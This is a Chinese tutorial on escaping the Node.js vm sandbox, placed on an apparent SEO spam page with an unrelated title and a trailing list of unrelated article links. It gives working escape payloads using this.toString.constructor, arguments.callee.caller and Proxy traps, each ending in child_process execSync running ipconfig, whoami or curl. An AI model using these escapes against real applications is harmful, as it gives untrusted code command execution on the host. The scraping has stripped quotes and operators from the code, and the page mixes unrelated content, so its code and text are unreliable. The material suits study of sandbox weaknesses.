当前位置: 首页 > news >正文

农资网站建设网站名字怎样做版权

农资网站建设,网站名字怎样做版权,秦皇岛 网站制作,网站搜什么关键词好目录 一、什么是沙箱(sandbox) 二、沙箱技术的实现 node.js 2.1简单沙箱程序示例 2.2this.tostring S1#xff1a; S2#xff1a; 三、arguments.callee.caller 一、什么是沙箱(sandbox) 在计算机安全性方面#xff0c;沙箱#xff08;沙盒、sanbox#xff…目录 一、什么是沙箱(sandbox) 二、沙箱技术的实现  node.js 2.1简单沙箱程序示例  2.2this.tostring S1 S2 三、arguments.callee.caller 一、什么是沙箱(sandbox) 在计算机安全性方面沙箱沙盒、sanbox是分离运行程序的安全机制提供一个隔离环境以运行程序。通常情况下在沙箱环境下运行的程序访问计算机资源会受到限制或者禁止资源包括内存、网络访问、主机系统等等。 沙箱通常用于执行不受信任的程序或代码例如用户输入、第三方模块等等。其目的为了减少或者避免软件漏洞对计算机造成破坏的风险。 二、沙箱技术的实现  node.js 沙箱技术按照设定的安全策略限制不可信程序对系统资源的使用来实现那么就要在访问系统资源之前将程序的系统调用拦截下来然后按照安全策略对调用进行审查。 基于JavaScript的node.js有一些提供沙箱环境的模块它们也根据这样的思路来实现例如 vm2 模块使用到了 ES6 提供的新特性–Proxy。Proxy 对象用于创建一个对象的代理从而实现基本操作的拦截和自定义如属性查找、赋值、枚举、函数调用等 简单地说就是在对某个对象进行操作之前例如访问它的属性或者调用它的方法先传递给与对象绑定的 Proxy 由 Proxy 执行具体的逻辑。 2.1简单沙箱程序示例  const vm require(vm); const script m n; const sandbox { m: 1, n: 2 }; const context new vm.createContext(sandbox); const res vm.runInContext(script, context); console.log(res) 执行结果 2.2this.tostring 在2.1示例中我们可以使用this引入上下文中没有的外部模块从而绕过此隔离模块 const process this.toString.constructor(return process)() process.mainModule.require(ipconfig).execSync(curl -I http://www.baidu.com).toString() 第一行this.toString获取到一个函数对象this.toString.constructor获取到函数对象的构造器function构造器中可以传入字符串类型的代码。然后在执行即可获得process对象。 第二行利用前面获取的process对象既可以干任何事。 执行结果   S1 为什么我们不直接使用{}.toString.constructor(return process)()却要使用this呢 {}是属于沙箱内的一个对象我们即使使用则这个方法也无法获取process而this是沙箱外的一个对象它可以帮助我i们获取process 重点引入沙箱外对象 S2 m和n也是沙盒外的对象为什么也不能用m.toString.constructor(return process)()呢 原因就是因为primitive types数字、字符串、布尔等这些都是primitive types他们的传递其实传递的是值而不是引用所以在沙盒内虽然你也是使用的m但是这个m和外部那个m已经不是一个m了所以也是无法利用的  、 S2衍生 我们可以通过改变context{m: [], n: {}, x: /regexp/}使得mnx可以引用 三、arguments.callee.caller 有这么一段代码它的上下文不存在this也不存在别的对象比如下面这段代码 const vm require(vm); const script ...; const sandbox Object.create(null); const context new vm.createContext(sandbox); const res vm.runInContext(script, context); console.log(Hello res) 由于在 JavaScript 中this 关键字的值取决于函数的执行上下文。在全局作用域中this 通常指向全局对象如浏览器环境中的 window 对象Node.js 环境中的 global 对象。但是在使用 Object.create(null) 创建的对象上下文中this 将为 null。 在这种情况下我们前面提到的“this法”失效了此时该如何逃逸 我们可以借助arguments对象。arguments是在函数执行的时候存在的一个变量我们可以通过arguments.callee.caller获得调用这个函数的调用者。 在 JavaScript 中arguments.callee 和 arguments.caller 都是用于访问函数调用相关信息的特殊属性。然而这两个属性都已经被弃用deprecated并不再建议使用因为它们在严格模式strict mode下会导致错误。 若此时我们在沙盒中定义一个函数并且返回在沙盒外这个函数被调用那么此时的arguments.callee.caller就是沙盒外的这个调用者我们再通过这个调用者拿到它的constructor等属性就可以绕过沙箱了。 那么通过如下代码就可实现上述例子的沙箱绕过 (() { const a {} a.toString function () { const cc arguments.callee.caller; const p (cc.constructor.constructor(return process))(); return p.mainModule.require(child_process).execSync(ipconfig).toString() } return a })() const vm require(vm); const script (() { const a {} a.toString function () { const cc arguments.callee.caller; const p (cc.constructor.constructor(return process))(); return p.mainModule.require(child_process).execSync(ipconfig).toString() } return a })(); const sandbox Object.create(null); const context new vm.createContext(sandbox); const res vm.runInContext(script, context); console.log(Hello res) 执行后可获得ip 上述代码触发条件在于console.log(Hello res) 也就是字符串触发 S1若沙箱外没有字符串相关操作此时该怎么办 可以使用Proxy来劫持所有属性只要沙箱外获取了属性我们仍然可以用来执行恶意代码 代码如下 const vm require(vm); const script ...; const sandbox Object.create(null); const context new vm.createContext(sandbox); const res vm.runInContext(script, context); console.log(res.xxx) 可以看到在这样一个代码中第一种方法已经不适用了此时我们就需要用到proxy劫持外部get (() { const a new Proxy({}, { get: function() { const cc arguments.callee.caller; const p (cc.constructor.constructor(return process))(); return p.mainModule.require(child_process).execSync(whoami).toString()} }) return a })() S2若沙箱外既没有字符串且沙箱的返回值没有做任何事或者没有捕捉返回值 此时我们可以借助异常把我们沙箱内的对象抛出去如果外部有捕捉异常的如日志逻辑则也可能触发漏洞 vm require(vm); const code5 throw new proxy{}, {get :function(){const cc arguments.callee.caller;const p (cc.constructor.constructor(return process))(); return p.mainModule.require(child_process).execSync(whoami).toString()} }) ; try { vm.runInContext(code5, vm.createContext(Object.create(null))); }catch(e){ console.log(error happend: e); }
http://www.dnsts.com.cn/news/246097.html

相关文章:

  • 礼品回收网站建设网站正能量点进去就能看
  • 晋城企业网站建设公司老百姓网免费发布信息
  • 网站是怎么做的吗深圳做网站de公司
  • 网站文字设计wordpress升级后编辑文章很慢
  • 重庆南岸区网站建设网络推广培训班
  • 龙岗网站建设szaow君山区建设局网站
  • 网站站点建设端口号的作用策划案模板范文
  • 东莞技术好的网站建设推广工商网企业信息查询系统上海
  • 怎么制作网站如何注册公司支付宝
  • 跨境网站开发公司广州网站建设外包建设推广
  • 自己做的网站怎么被百度收录给文字做网站链接
  • 哪个网站可以代做软件做网站带阿里云服务器多少钱
  • php网站说明网站开发立项申请表
  • 建一个网站需要多少钱wordpress 中文插件下载
  • 皇岗网站建设新浪微博网站建设
  • 宁波网站推广排名微信推送怎么做购物网站
  • 做商业广告有什么网站好推销的天台城乡规划建设局网站
  • 怎么做网站站内搜索活动策划方案步骤
  • 地方宣传网站建设的必要性赚钱的网站做任务
  • 网站怎么收录到百度长沙招聘服务网
  • 东莞最好的网站大连模板做网站
  • 做app的网站有哪些功能吗官方网站建设方案图
  • 做网站的要花多少钱做网站公司圣辉友联
  • 网站设计学校国外网站视频播放器
  • 网站建设与制作的流程经典网页设计欣赏
  • 响应式布局网站模板企业官网手机版
  • 郴州市住房建设局门户网站深圳网站建设公司排行
  • 一个空间怎么做两个网站 跳转建立的意思解释
  • 未来中森网站建设咨询网站运营单位是什么意思
  • google网站打不开施工企业分录